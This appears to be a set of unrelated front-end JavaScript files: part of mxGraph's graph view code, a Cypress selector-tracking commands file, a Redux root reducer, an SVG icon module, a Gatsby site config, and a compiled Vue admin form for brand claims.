this.allowEval = value; }; /** * Function: getStates * * Returns <states>. */ mxGraphView.prototype.getStates = function() { return this.states; }; /** * Function: setStates * * Sets <states>. */ mxGraphView.prototype.setStates = function(value) { this.states = value; }; /** * Function: getCellStates * * Returns the <mxCellStates> for the given array of <mxCells>. The array * contains all states that are not null, that is, the returned array may * have less elements than the given array. If no argument is given, then * this returns <states>. */ mxGraphView.prototype.getCellStates = function(cells) { if (cells == null) { return this.states; } else { var result = []; for (var i = 0; i < cells.length; i++) { var state = this.getState(cells[i]); if (state != null) { result.push(state); } } return result; } }; /** * Function: removeState * * Removes and returns the <mxCellState> for the given cell. * * Parameters: * * cell - <mxCell> for which the <mxCellState> should be removed. */ mxGraphView.prototype.removeState = function(cell) { var state = null; if (cell != null) { state = this.states.remove(cell); if (state != null) { this.graph.cellRenderer.destroy(state); state.invalid = true; state.destroy(); } } return state; }; /** * Function: createState * * Creates and returns an <mxCellState> for the given cell and initializes * it using <mxCellRenderer.initialize>. * * Parameters: * * cell - <mxCell> for which a new <mxCellState> should be created. */ mxGraphView.prototype.createState = function(cell) { return new mxCellState(this, cell, this.graph.getCellStyle(cell)); }; /** * Function: getCanvas * * Returns the DOM node that contains the background-, draw- and * overlay- and decoratorpanes. */ mxGraphView.prototype.getCanvas = function() { return this.canvas; }; /** * Function: getBackgroundPane * * Returns the DOM node that represents the background layer. */ mxGraphView.prototype.getBackgroundPane = function() { return this.backgroundPane; }; /** * Function: getDrawPane * * Returns the DOM node that represents the main drawing layer. */ mxGraphView.prototype.getDrawPane = function() { return this.drawPane; }; /** * Function: getOverlayPane * * Returns the DOM node that represents the layer above the drawing layer. */ mxGraphView.prototype.getOverlayPane = function() { return this.overlayPane; }; /** * Function: getDecoratorPane * * Returns the DOM node that represents the topmost drawing layer. */ mxGraphView.prototype.getDecoratorPane = function() { return this.decoratorPane; }; /** * Function: isContainerEvent * * Returns true if the event origin is one of the drawing panes or * containers of the view. */ mxGraphView.prototype.isContainerEvent = function(evt) { var source = mxEvent.getSource(evt); return (source == this.graph.container || source.parentNode == this.backgroundPane || (source.parentNode != null && source.parentNode.parentNode == this.backgroundPane) || source == this.canvas.parentNode || source == this.canvas || source == this.backgroundPane || source == this.drawPane || source == this.overlayPane || source == this.decoratorPane); }; /** * Function: isScrollEvent * * Returns true if the event origin is one of the scrollbars of the * container in IE. Such events are ignored. */ mxGraphView.prototype.isScrollEvent = function(evt) { var offset = mxUtils.getOffset(this.graph.container); var pt = new mxPoint(evt.clientX - offset.x, evt.clientY - offset.y); var outWidth = this.graph.container.offsetWidth; var inWidth = this.graph.container.clientWidth; if (outWidth > inWidth && pt.x > inWidth + 2 && pt.x <= outWidth) { return true; } var outHeight = this.graph.container.offsetHeight; var inHeight = this.graph.container.clientHeight; if (outHeight > inHeight && pt.y > inHeight + 2 && pt.y <= outHeight) { return true; } return false; }; /** * Function: init * * Initializes the graph event dispatch loop for the specified container * and invokes <create> to create the required DOM nodes for the display. */ mxGraphView.prototype.init = function() { this.installListeners(); // Creates the DOM nodes for the respective display dialect var graph = this.graph; if (graph.dialect == mxConstants.DIALECT_SVG) { this.createSvg(); } else if (graph.dialect == mxConstants.DIALECT_VML) { this.createVml(); } else { this.createHtml(); } }; /** * Function: installListeners * * Installs the required listeners in the container. */ mxGraphView.prototype.installListeners = function() { var graph = this.graph; var container = graph.container; if (container != null) { // Support for touch device gestures (eg. pinch to zoom) // Double-tap handling is implemented in mxGraph.fireMouseEvent if (mxClient.IS_TOUCH) { mxEvent.addListener(container, 'gesturestart', mxUtils.bind(this, function(evt) { graph.fireGestureEvent(evt); mxEvent.consume(evt); })); mxEvent.addListener(container, 'gesturechange', mxUtils.bind(this, function(evt) { graph.fireGestureEvent(evt); mxEvent.consume(evt); })); mxEvent.addListener(container, 'gestureend', mxUtils.bind(this, function(evt) { graph.fireGestureEvent(evt); mxEvent.consume(evt); })); } // Adds basic listeners for graph event dispatching mxEvent.addGestureListeners(container, mxUtils.bind(this, function(evt) { // Condition to avoid scrollbar events starting a rubberband selection if (this.isContainerEvent(evt) && ((!mxClient.IS_IE && !mxClient.IS_IE11 && !mxClient.IS_GC && !mxClient.IS_OP && !mxClient.IS_SF) || !this.isScrollEvent(evt))) { graph.fireMouseEvent(mxEvent.MOUSE_DOWN, new mxMouseEvent(evt)); } }), mxUtils.bind(this, function(evt) { if (this.isContainerEvent(evt)) { graph.fireMouseEvent(mxEvent.MOUSE_MOVE, new mxMouseEvent(evt)); } }), mxUtils.bind(this, function(evt) { if (this.isContainerEvent(evt)) { graph.fireMouseEvent(mxEvent.MOUSE_UP, new mxMouseEvent(evt)); } })); // Adds listener for double click handling on background, this does always // use native event handler, we assume that the DOM of the background // does not change during the double click mxEvent.addListener(container, 'dblclick', mxUtils.bind(this, function(evt) { if (this.isContainerEvent(evt)) { graph.dblClick(evt); } })); // Workaround for touch events which started on some DOM node // on top of the container, in which case the cells under the // mouse for the move and up events are not detected. var getState = function(evt) { var state = null; // Workaround for touch events which started on some DOM node // on top of the container, in which case the cells under the // mouse for the move and up events are not detected. if (mxClient.IS_TOUCH) { var x = mxEvent.getClientX(evt); var y = mxEvent.getClientY(evt); // Dispatches the drop event to the graph which // consumes and executes the source function var pt = mxUtils.convertPoint(container, x, y); state = graph.view.getState(graph.getCellAt(pt.x, pt.y)); } return state; }; // Adds basic listeners for graph event dispatching outside of the // container and finishing the handling of a single gesture // Implemented via graph event dispatch loop to avoid duplicate events // in Firefox and Chrome graph.addMouseListener( { mouseDown: function(sender, me) { graph.popupMenuHandler.hideMenu(); }, mouseMove: function() { }, mouseUp: function() { } }); this.moveHandler = mxUtils.bind(this, function(evt) { // Hides the tooltip if mouse is outside container if (graph.tooltipHandler != null && graph.tooltipHandler.isHideOnHover()) { graph.tooltipHandler.hide(); } if (this.captureDocumentGesture && graph.isMouseDown && graph.container != null && !this.isContainerEvent(evt) && graph.container.style.display != 'none' && graph.container.style.visibility != 'hidden' && !mxEvent.isConsumed(evt)) { graph.fireMouseEvent(mxEvent.MOUSE_MOVE, new mxMouseEvent(evt, getState(evt))); } }); this.endHandler = mxUtils.bind(this, function(evt) { if (this.captureDocumentGesture && graph.isMouseDown && graph.container != null && !this.isContainerEvent(evt) && graph.container.style.display != 'none' && graph.container.style.visibility != 'hidden') { graph.fireMouseEvent(mxEvent.MOUSE_UP, new mxMouseEvent(evt)); } }); mxEvent.addGestureListeners(document, null, this.moveHandler, this.endHandler); } }; /** * Function: create * * Creates the DOM nodes for the HTML display. */ mxGraphView.prototype.createHtml = function() { var container = this.graph.container; if (container != null) { this.canvas = this.createHtmlPane('100%', '100%'); this.canvas.style.overflow = 'hidden'; // Uses minimal size for inner DIVs on Canvas. This is required // for correct event processing in IE. If we have an overlapping // DIV then the events on the cells are only fired for labels. this.backgroundPane = this.createHtmlPane('1px', '1px'); this.drawPane = this.createHtmlPane('1px', '1px'); this.overlayPane = this.createHtmlPane('1px', '1px'); this.decoratorPane = this.createHtmlPane('1px', '1px'); this.canvas.appendChild(this.backgroundPane); this.canvas.appendChild(this.drawPane); this.canvas.appendChild(this.overlayPane); this.canvas.appendChild(this.decoratorPane); container.appendChild(this.canvas); this.updateContainerStyle(container); // Implements minWidth/minHeight in quirks mode if (mxClient.IS_QUIRKS) { var onResize = mxUtils.bind(this, function(evt) { var bounds = this.getGraphBounds(); var width = bounds.x + bounds.width + this.graph.border; var height = bounds.y + bounds.height + this.graph.border; this.updateHtmlCanvasSize(width, height); }); mxEvent.addListener(window, 'resize', onResize); } } }; /** * Function: updateHtmlCanvasSize * * Updates the size of the HTML canvas. */ mxGraphView.prototype.updateHtmlCanvasSize = function(width, height) { if (this.graph.container != null) { var ow = this.graph.container.offsetWidth; var oh = this.graph.container.offsetHeight; if (ow < width) { this.canvas.style.width = width + 'px'; } else { this.canvas.style.width = '100%'; } if (oh < height) { this.canvas.style.height = height + 'px'; } else { this.canvas.style.height = '100%'; } } }; /** * Function: createHtmlPane * * Creates and returns a drawing pane in HTML (DIV). */ mxGraphView.prototype.createHtmlPane = function(width, height) { var pane = document.createElement('DIV'); if (width != null && height != null) { pane.style.position = 'absolute'; pane.style.left = '0px'; pane.style.top = '0px'; pane.style.width = width; pane.style.height = height; } else { pane.style.position = 'relative'; } return pane; }; /** * Function: create * * Creates the DOM nodes for the VML display. */ mxGraphView.prototype.createVml = function() { var container = this.graph.container; if (container != null) { var width = container.offsetWidth; var height = container.offsetHeight; this.canvas = this.createVmlPane(width, height); this.canvas.style.overflow = 'hidden'; this.backgroundPane = this.createVmlPane(width, height); this.drawPane = this.createVmlPane(width, height); this.overlayPane = this.createVmlPane(width, height); this.decoratorPane = this.createVmlPane(width, height); this.canvas.appendChild(this.backgroundPane); this.canvas.appendChild(this.drawPane); this.canvas.appendChild(this.overlayPane); this.canvas.appendChild(this.decoratorPane); container.appendChild(this.canvas); } }; /** * Function: createVmlPane * * Creates a drawing pane in VML (group). */ mxGraphView.prototype.createVmlPane = function(width, height) { var pane = document.createElement(mxClient.VML_PREFIX + ':group'); // At this point the width and height are potentially // uninitialized. That's OK. pane.style.position = 'absolute'; pane.style.left = '0px'; pane.style.top = '0px'; pane.style.width = width + 'px'; pane.style.height = height + 'px'; pane.setAttribute('coordsize', width + ',' + height); pane.setAttribute('coordorigin', '0,0'); return pane; }; /** * Function: create * * Creates and returns the DOM nodes for the SVG display. */ mxGraphView.prototype.createSvg = function() { var container = this.graph.container; this.canvas = document.createElementNS(mxConstants.NS_SVG, 'g'); // For background image this.backgroundPane = document.createElementNS(mxConstants.NS_SVG, 'g'); this.canvas.appendChild(this.backgroundPane); // Adds two layers (background is early feature) this.drawPane = document.createElementNS(mxConstants.NS_SVG, 'g'); this.canvas.appendChild(this.drawPane); this.overlayPane = document.createElementNS(mxConstants.NS_SVG, 'g'); this.canvas.appendChild(this.overlayPane); this.decoratorPane = document.createElementNS(mxConstants.NS_SVG, 'g'); this.canvas.appendChild(this.decoratorPane); var root = document.createElementNS(mxConstants.NS_SVG, 'svg'); root.style.left = '0px'; root.style.top = '0px'; root.style.width = '100%'; root.style.height = '100%'; // NOTE: In standards mode, the SVG must have block layout // in order for the container DIV to not show scrollbars. root.style.display = 'block'; root.appendChild(this.canvas); // Workaround for scrollbars in IE11 and below if (mxClient.IS_IE || mxClient.IS_IE11) { root.style.overflow = 'hidden'; } if (container != null) { container.appendChild(root); this.updateContainerStyle(container); } }; /** * Function: updateContainerStyle * * Updates the style of the container after installing the SVG DOM elements. */ mxGraphView.prototype.updateContainerStyle = function(container) { // Workaround for offset of container var style = mxUtils.getCurrentStyle(container); if (style != null && style.position == 'static') { container.style.position = 'relative'; } // Disables built-in pan and zoom in IE10 and later if (mxClient.IS_POINTER) { container.style.touchAction = 'none'; } }; /** * Function: destroy * * Destroys the view and all its resources. */ mxGraphView.prototype.destroy = function() { var root = (this.canvas != null) ? this.canvas.ownerSVGElement : null; if (root == null) { root = this.canvas; } if (root != null && root.parentNode != null) { this.clear(this.currentRoot, true); mxEvent.removeGestureListeners(document, null, this.moveHandler, this.endHandler); mxEvent.release(this.graph.container); root.parentNode.removeChild(root); this.moveHandler = null; this.endHandler = null; this.canvas = null; this.backgroundPane = null; this.drawPane = null; this.overlayPane = null; this.decoratorPane = null; } }; /** * Class: mxCurrentRootChange * * Action to change the current root in a view. * * Constructor: mxCurrentRootChange * * Constructs a change of the current root in the given view. */ function mxCurrentRootChange(view, root) { this.view = view; this.root = root; this.previous = root; this.isUp = root == null; if (!this.isUp) { var tmp = this.view.currentRoot; var model = this.view.graph.getModel(); while (tmp != null) { if (tmp == root) { this.isUp = true; break; } tmp = model.getParent(tmp); } } }; /** * Function: execute * * Changes the current root of the view. */ mxCurrentRootChange.prototype.execute = function() { var tmp = this.view.currentRoot; this.view.currentRoot = this.previous; this.previous = tmp; var translate = this.view.graph.getTranslateForRoot(this.view.currentRoot); if (translate != null) { this.view.translate = new mxPoint(-translate.x, -translate.y); } if (this.isUp) { this.view.clear(this.view.currentRoot, true); this.view.validate(); } else { this.view.refresh(); } var name = (this.isUp) ? mxEvent.UP : mxEvent.DOWN; this.view.fireEvent(new mxEventObject(name, 'root', this.view.currentRoot, 'previous', this.previous)); this.isUp = !this.isUp; };
// *********************************************** // This example commands.js shows you how to // create the custom commands: 'createDefaultTodos' // and 'createTodo'. // // The commands.js file is a great place to // modify existing commands and create custom // commands for use throughout your tests. // // You can read more about custom commands here: // https://on.cypress.io/commands // *********************************************** /* eslint-env browser */ // libraries that compute selectors compared in // https://github.com/fczbkk/css-selector-generator-benchmark const finder = require('@medv/finder').default before(() => { window.testedSelectors = [] }) after(() => { const selectors = Cypress._.uniq(window.testedSelectors) // eslint-disable-next-line no-console console.log('tested the following selectors:', selectors) // shortcut to get application's window context // without going through cy.window() command const win = cy.state('window') selectors.forEach((selector) => { const el = win.document.querySelector(selector) if (el) { el.style.opacity = 1 el.style.border = '1px solid magenta' } }) // add pause if recording a video // cy.wait(1000, { log: false }) }) const getSelector = ($el) => { if ($el.attr('data-cy')) { return `[data-cy=${$el.attr('data-cy')}]` } return finder($el[0], { // a trick to point "finder" at the application's iframe root: cy.state('window').document.body, }) } const rememberSelector = ($el) => { const selector = getSelector($el) window.testedSelectors.push(selector) } Cypress.Commands.overwrite('type', function(type, $el, text, options) { rememberSelector($el) return type($el, text, options) }) Cypress.Commands.overwrite('check', function(check, $el, options) { rememberSelector($el) return check($el, options) }) Cypress.Commands.overwrite('click', function(click, $el, options) { rememberSelector($el) return click($el, options) })
import {combineReducers} from 'redux' import user from './reducers/user' export default combineReducers({ user })
var _32 = { elem: 'svg', attrs: { xmlns: 'http://www.w3.org/2000/svg', viewBox: '0 0 32 32', width: 32, height: 32, }, content: [ { elem: 'path', attrs: { d: 'M28 6v20H4V6h24m0-2H4a2 2 0 0 0-2 2v20a2 2 0 0 0 2 2h24a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2z', }, }, { elem: 'path', attrs: { d: 'M6 8h10v2H6zm0 4h10v2H6zm0 4h6v2H6z' } }, ], name: 'dicom--overlay', size: 32, }; export default _32;
require("dotenv").config() const path = require("path") module.exports = { siteMetadata: { title: `Bjørn Jarle Kvande`, description: ` Programmer at ObjectPlanet AS, and Trailguide AS. `, author: `@sjoggno`, }, plugins: [ { resolve: `gatsby-source-filesystem`, options: { name: `javascript`, path: `${__dirname}/src/pages/javascript/`, }, }, { resolve: `gatsby-transformer-remark`, options: { plugins: [{ resolve: `gatsby-remark-highlight-code` }] }, }, { resolve: `gatsby-plugin-mdx`, options: { extensions: [".mdx", ".md"], defaultLayouts: { default: require.resolve("./src/layout/default.js") }, gatsbyRemarkPlugins: [{ resolve: `gatsby-remark-highlight-code` }], }, }, { resolve: "gatsby-plugin-react-svg", options: { rule: { include: /\.svg$/, }, }, }, `gatsby-plugin-postcss`, { resolve: `gatsby-plugin-purgecss`, options: { // printRejected: true, tailwind: true, // Enable tailwindcss support develop: true, // Enable while using `gatsby develop` content: [ path.join(process.cwd(), "src/**/!(*.d).{ts,js,jsx,tsx,md,mdx}"), ], }, }, `gatsby-plugin-react-helmet`, ], }
webpackJsonp([27],{ /***/ "HNrF": /***/ (function(module, exports, __webpack_require__) { exports = module.exports = __webpack_require__("FZ+f")(false); // imports // module exports.push([module.i, "\n.card-url {\n width: 200px;\n height: 200px;\n display: inline-block;\n}\n.brand-form {\n padding: 20px;\n}\n.brand-form .el-tabs--border-card {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\nfieldset {\n margin-bottom: 15px;\n border: 1px solid #e5e5e5;\n padding-left: 15px;\n overflow: auto;\n max-height: 560px;\n}\nfieldset legend {\n width: auto;\n margin: 0 0 0 -5px;\n font-size: 13px;\n font-weight: bold;\n border-bottom: 0;\n padding: 0 5px;\n}\nfieldset ol {\n padding-left: 25px;\n}\nfieldset li {\n font-size: 13px;\n color: #141414;\n line-height: 20px;\n margin-top: 3px;\n}\n.brand-form .el-tabs__item {\n padding: 0 10px !important;\n}\n.brand-form .el-tag + .el-tag {\n margin-left: 10px;\n}\n.brand-form .el-upload-list-box,\n.brand-form .el-upload-list-box + div {\n float: left;\n}\n.brand-form\n.el-upload-list-box\n.el-upload-list--picture-card\n.el-upload-list__item {\n border-radius: 0;\n overflow: initial;\n}\n.avatar-uploader .el-upload {\n border: 1px dashed #d9d9d9;\n border-radius: 6px;\n cursor: pointer;\n position: relative;\n overflow: hidden;\n}\n.avatar-uploader .el-upload:hover {\n border-color: #409eff;\n}\n.avatar-uploader-icon {\n font-size: 28px;\n color: #8c939d;\n width: 148px;\n height: 148px;\n line-height: 148px;\n text-align: center;\n}\n.avatar {\n width: 148px;\n height: 148px;\n display: block;\n}\n.map {\n width: 100%;\n height: 400px;\n}\n.editor-content {\n margin-top: 20px;\n}\n#tinymcy-box .mce-container,\n#tinymcy-box .mce-container * {\n white-space: normal;\n}\n", ""]); // exports /***/ }), /***/ "otJo": /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; Object.defineProperty(__webpack_exports__, "__esModule", { value: true }); // EXTERNAL MODULE: ./node_modules/babel-runtime/core-js/object/assign.js var object_assign = __webpack_require__("woOf"); var assign_default = /*#__PURE__*/__webpack_require__.n(object_assign); // EXTERNAL MODULE: ./src/components/Tinymce/index.vue + 7 modules var Tinymce = __webpack_require__("5aCZ"); // EXTERNAL MODULE: ./src/components/ImageCropper/index.vue + 6 modules var ImageCropper = __webpack_require__("Oakg"); // EXTERNAL MODULE: ./src/api/requirement/index.js var requirement = __webpack_require__("3sUq"); // EXTERNAL MODULE: ./src/api/912cms/brand.js var brand = __webpack_require__("q2/m"); // EXTERNAL MODULE: ./src/api/users/index.js var users = __webpack_require__("5KiG"); // EXTERNAL MODULE: ./src/utils/auth.js var auth = __webpack_require__("TIfe"); // CONCATENATED MODULE: ./node_modules/babel-loader/lib!./node_modules/vue-loader/lib/selector.js?type=script&index=0!./src/views/912cms/brand/ClaimDetail.vue // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // // /* harmony default export */ var ClaimDetail = ({ name: "ClaimDetail", components: { Tinymce: Tinymce["a" /* default */], ImageCropper: ImageCropper["a" /* default */] }, data: function data() { return { ruleForm: { id: null, userName: null, mobile: null, areaInfo: null, area: [], brandId: null, cardUrl: null, status: null, bindBrand: null, remark: null }, imagecropperShow: false, selectedAreaId: [], selectedAll: [], selectedAreaName: [], defaultProps: { children: 'children', label: 'label' }, props: { multiple: true, checkStrictly: true }, // props: { multiple: true }, loading: false, remarkLists: [], rules: {}, areaList: [], fileList: [], brandNameList: [], imagecropperKey: 0, host: "http://" + location.host, // host: "http://boss.912zufang.com", dialogVisible: false, dialogImageUrl: '' }; }, created: function created() { this.getClaimAreaDistrictList(); if (this.$route.params.id > 0) { this.getClaimDetail(this.$route.params.id); } }, watch: { $route: function $route(to, from) { this.globalEvBus.$emit("reload"); } }, methods: { handleClose: function handleClose(index) { this.selectedAll.splice(index, 1); this.selectedAreaId.splice(index, 1); this.selectedAreaName.splice(index, 1); }, // cropSuccess(resData) { // this.imagecropperShow = false; // this.imagecropperKey = this.imagecropperKey + 1; // this.ruleForm.img = resData.data.show_url; // this.ruleForm.cardUrl = resData.data.show_url; // }, // close() { // this.imagecropperShow = false; // }, handleImgRemove: function handleImgRemove(file, fileList) { this.fileList = []; this.ruleForm.cardUrl = ''; }, handleImgSuccess: function handleImgSuccess(res, file) { if (res.data.show_url.includes('@!small')) { res.data.show_url = res.data.show_url.replace('@!small', '@!origin'); this.ruleForm.cardUrl = res.data.show_url; this.fileList.splice(0, 1, { url: res.data.show_url, title: "" }); } else { this.ruleForm.cardUrl = res.data.show_url; this.fileList.splice(0, 1, { url: res.data.show_url, title: "" }); } }, handlePictureCardPreview: function handlePictureCardPreview(file) { this.dialogImageUrl = file.cardUrl || file.url; this.dialogVisible = true; }, getCheckedNodes: function getCheckedNodes(data, opt) { var _this = this; var name1 = this.$refs['cascaderAddr'].currentLabels[1]; var name0 = this.$refs['cascaderAddr'].currentLabels[0]; var data1 = data[1]; var data0 = data[0]; if (data.length == 1) { if (data[0] == '1-0-0') { this.selectedAll = []; this.selectedAreaId = []; this.selectedAreaName = []; this.selectedAll.push({ value: data0, label: name0 }); this.selectedAreaId.push(data0); this.selectedAreaName.push(name0); } } else { if (this.selectedAreaId.includes('1-0-0')) { var index = this.selectedAreaId.indexOf('1-0-0'); this.selectedAll.splice(index, 1); this.selectedAreaId.splice(index, 1); this.selectedAreaName.splice(index, 1); } if (data0 == data1) { var tempArr = []; var tempName = []; var tempAll = []; this.selectedAreaId.forEach(function (item, index) { var temp = data0.split('-')[1]; if (!item.includes(temp)) { tempArr.push(item); tempAll.push(_this.selectedAll[index]); tempName.push(_this.selectedAreaName[index]); } else {} }); this.selectedAreaId = tempArr; this.selectedAreaName = tempName; this.selectedAll = tempAll; this.selectedAll.push({ value: data0, label: name0 }); this.selectedAreaId.push(data0); this.selectedAreaName.push(name0); } else { if (!this.selectedAreaId.includes(data1)) { var _tempArr = []; this.selectedAreaId.forEach(function (item, index) { if (item.includes(data0)) { _this.selectedAll.splice(index, 1); _this.selectedAreaName.splice(index, 1); } else { _tempArr.push(item); } }); this.selectedAreaId = _tempArr; this.selectedAll.push({ value: data1, label: name0 + "-" + name1 }); this.selectedAreaId.push(data1); this.selectedAreaName.push(name0 + "-" + name1); } } } }, editBrand: function editBrand(query) { var _this2 = this; if (query !== "") { this.loading = true; Object(brand["d" /* editBrand */])(query).then(function (response) { var data = response.data.data; if (data) { _this2.loading = false; _this2.brandNameList = data.map(function (item, index) { return { value: item.brandId, label: item.brandName }; }); } else { _this2.$message({ message: response.data.msg, type: "warning" }); } }).catch(function (err) { console.log(err); }); } else { this.brandNameList = []; } }, getClaimAreaDistrictList: function getClaimAreaDistrictList() { var _this3 = this; Object(brand["l" /* getClaimAreaDistrictList */])().then(function (response) { var data = response.data.data; _this3.areaList = data; // this.ruleForm = Object.assign(this.ruleForm, data); }).catch(function (err) { console.log(err); }); }, getClaimDetail: function getClaimDetail(id) { var _this4 = this; Object(brand["m" /* getClaimDetail */])(id).then(function (response) { var data = response.data.data; _this4.remarkLists = data.remarkLists; _this4.selectedAreaId = data.area; _this4.selectedAreaName = data.areaInfo.split(';'); _this4.selectedAll = _this4.selectedAreaId.map(function (item, index) { return { value: item, label: _this4.selectedAreaName[index] }; }); if (data.cardUrl.includes('@!small')) { data.cardUrl = data.cardUrl.replace('@!small', '@!origin'); _this4.fileList.push({ url: data.cardUrl, title: "" }); } else { _this4.fileList.push({ url: data.cardUrl, title: "" }); } _this4.ruleForm = assign_default()(_this4.ruleForm, data); _this4.brandNameList.push({ value: data.brandId, label: data.brandName }); }).catch(function (err) { console.log(err); }); }, /** * 提交表单 * */ submitForm: function submitForm(formName) { var _this5 = this; this.$refs[formName].validate(function (valid) { if (valid) { _this5.editOrAddOffice(); } }); }, editOrAddOffice: function editOrAddOffice() { var _this6 = this; if (this.ruleForm.id != 0 && this.ruleForm.id) { this.ruleForm.area = this.selectedAreaId; this.ruleForm.areaInfo = this.selectedAreaName.join(','); Object(brand["f" /* editClaimDetail */])(this.ruleForm).then(function (response) { if (response.data.status) { _this6.$notify({ title: "成功", message: "编辑成功", type: "success", duration: 2000 }); setTimeout(function () { _this6.$store.dispatch("delView", _this6.$route); _this6.$router.go(-1); }, 500); } else { _this6.$message({ type: "error", message: response.data.msg }); } }).catch(function (err) { console.log(err); }); } }, resetForm: function resetForm(formName) { this.$refs[formName].resetFields(); this.isShow = false; this.has_phone = true; this.show_user_agent = false; this.ruleForm.user_agent = ""; this.ruleForm.user_agent_id = 0; this.ruleForm.house_agent_id = 0; this.ruleForm.house_agent = ""; this.ruleForm.lprice = ""; this.ruleForm.gprice = ""; } } }); // CONCATENATED MODULE: ./node_modules/vue-loader/lib/template-compiler?{"id":"data-v-e633bb22","hasScoped":false,"transformToRequire":{"video":["src","poster"],"source":"src","img":"src","image":"xlink:href"},"buble":{"transforms":{}}}!./node_modules/vue-loader/lib/selector.js?type=template&index=0!./src/views/912cms/brand/ClaimDetail.vue var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',{staticClass:"brand-form"},[_c('el-row',[_c('el-col',{attrs:{"offset":1,"span":14}},[_c('el-form',{ref:"ruleForm",staticClass:"require-form",attrs:{"model":_vm.ruleForm,"rules":_vm.rules,"label-width":"120px","id":"consult-form","size":"small"}},[_c('el-form-item',{attrs:{"label":"认领姓名","prop":"userName"}},[_c('el-input',{staticClass:"name",attrs:{"maxlength":"30","placeholder":"请输入认领姓名"},model:{value:(_vm.ruleForm.userName),callback:function ($$v) {_vm.$set(_vm.ruleForm, "userName", $$v)},expression:"ruleForm.userName"}})],1),_vm._v(" "),_c('el-form-item',{attrs:{"label":"认领人电话","prop":"mobile"}},[_c('el-input',{staticClass:"name",attrs:{"maxlength":"30","placeholder":"请输入认领人电话"},model:{value:(_vm.ruleForm.mobile),callback:function ($$v) {_vm.$set(_vm.ruleForm, "mobile", $$v)},expression:"ruleForm.mobile"}})],1),_vm._v(" "),_c('el-form-item',{attrs:{"label":"认领品牌","prop":"brandName"}},[_c('el-select',{staticStyle:{"'width":"400px"},attrs:{"filterable":"","remote":"","placeholder":"认领品牌","remote-method":_vm.editBrand,"loading":_vm.loading},model:{value:(_vm.ruleForm.brandId),callback:function ($$v) {_vm.$set(_vm.ruleForm, "brandId", $$v)},expression:"ruleForm.brandId"}},_vm._l((_vm.brandNameList),function(item){return _c('el-option',{key:item.value,attrs:{"label":item.label,"value":item.value}})}))],1),_vm._v(" "),_c('el-form-item',{attrs:{"label":"负责区域","prop":"area"}},[_c('div',{staticClass:"tags"},_vm._l((_vm.selectedAll),function(item,index){return _c('el-tag',{key:item.value,attrs:{"closable":"","disable-transitions":false},on:{"close":function($event){_vm.handleClose(index)}}},[_vm._v(_vm._s(item.label))])})),_vm._v(" "),_c('el-cascader',{ref:"cascaderAddr",attrs:{"options":_vm.areaList,"props":_vm.props},on:{"change":_vm.getCheckedNodes}})],1),_vm._v(" "),_c('el-form-item',{attrs:{"label":"认领人名片","prop":"cardUrl"}},[_c('el-upload',{attrs:{"action":_vm.host+'/upload/uploadFile',"data":{isPublic: 0},"show-file-list":true,"list-type":"picture-card","on-success":_vm.handleImgSuccess,"before-remove":_vm.handleImgRemove,"file-list":_vm.fileList,"on-preview":_vm.handlePictureCardPreview}},[_c('i',{staticClass:"el-icon-plus"})]),_vm._v(" "),_c('el-form-item',[_c('el-dialog',{attrs:{"visible":_vm.dialogVisible},on:{"update:visible":function($event){_vm.dialogVisible=$event}}},[_c('img',{attrs:{"width":"100%","src":_vm.dialogImageUrl,"alt":""}})])],1)],1),_vm._v(" "),_c('el-form-item',{attrs:{"label":"审核状态"}},[_c('el-radio-group',{model:{value:(_vm.ruleForm.status),callback:function ($$v) {_vm.$set(_vm.ruleForm, "status", $$v)},expression:"ruleForm.status"}},[_c('el-radio',{attrs:{"border":"","label":0,"value":"0"}},[_vm._v("审核不通过")]),_vm._v(" "),_c('el-radio',{attrs:{"border":"","label":1,"value":"1"}},[_vm._v("待审核")]),_vm._v(" "),_c('el-radio',{attrs:{"border":"","label":2,"value":"2"}},[_vm._v("审核通过")])],1)],1),_vm._v(" "),_c('el-form-item',{attrs:{"label":"是否绑定品牌"}},[_c('el-radio-group',{model:{value:(_vm.ruleForm.bindBrand),callback:function ($$v) {_vm.$set(_vm.ruleForm, "bindBrand", $$v)},expression:"ruleForm.bindBrand"}},[_c('el-radio',{attrs:{"border":"","label":0,"value":"0"}},[_vm._v("否")]),_vm._v(" "),_c('el-radio',{attrs:{"border":"","label":1,"value":"1"}},[_vm._v("是")])],1)],1),_vm._v(" "),_c('el-form-item',{attrs:{"label":"备注"}},[_c('el-input',{attrs:{"type":"textarea","placeholder":"请输入备注","minlength":"10","maxlength":"300","rows":"3"},model:{value:(_vm.ruleForm.remark),callback:function ($$v) {_vm.$set(_vm.ruleForm, "remark", $$v)},expression:"ruleForm.remark"}})],1),_vm._v(" "),_c('el-form-item',{staticClass:"submit-btn"},[_c('el-button',{attrs:{"type":"primary"},on:{"click":function($event){_vm.submitForm('ruleForm')}}},[_vm._v("提交")])],1)],1)],1),_vm._v(" "),_c('el-col',{staticStyle:{"word-break":"break-all"},attrs:{"offset":1,"span":7}},[_c('fieldset',[_c('legend',[_vm._v("历史操作记录")]),_vm._v(" "),(_vm.remarkLists && _vm.remarkLists.length>0)?_c('ol',_vm._l((_vm.remarkLists),function(item){return _c('li',{key:item.id},[_vm._v("\n\t\t\t\t\t\t"+_vm._s(item.create_time)+",由 "),_c('b',[_vm._v(_vm._s(item.user_name))]),_vm._v(" 修改,"+_vm._s(item.content)+"。\n\t\t\t\t\t")])})):_c('div',{staticStyle:{"padding":"10px"}},[_vm._v("暂无历史操作")])])])],1)],1)} var staticRenderFns = [] var esExports = { render: render, staticRenderFns: staticRenderFns } /* harmony default export */ var brand_ClaimDetail = (esExports); // CONCATENATED MODULE: ./src/views/912cms/brand/ClaimDetail.vue function injectStyle (ssrContext) { __webpack_require__("qeQg") } var normalizeComponent = __webpack_require__("VU/8") /* script */ /* template */ /* template functional */ var __vue_template_functional__ = false /* styles */ var __vue_styles__ = injectStyle /* scopeId */ var __vue_scopeId__ = null /* moduleIdentifier (server only) */ var __vue_module_identifier__ = null var Component = normalizeComponent( ClaimDetail, brand_ClaimDetail, __vue_template_functional__, __vue_styles__, __vue_scopeId__, __vue_module_identifier__ ) /* harmony default export */ var _12cms_brand_ClaimDetail = __webpack_exports__["default"] = (Component.exports); /***/ }), /***/ 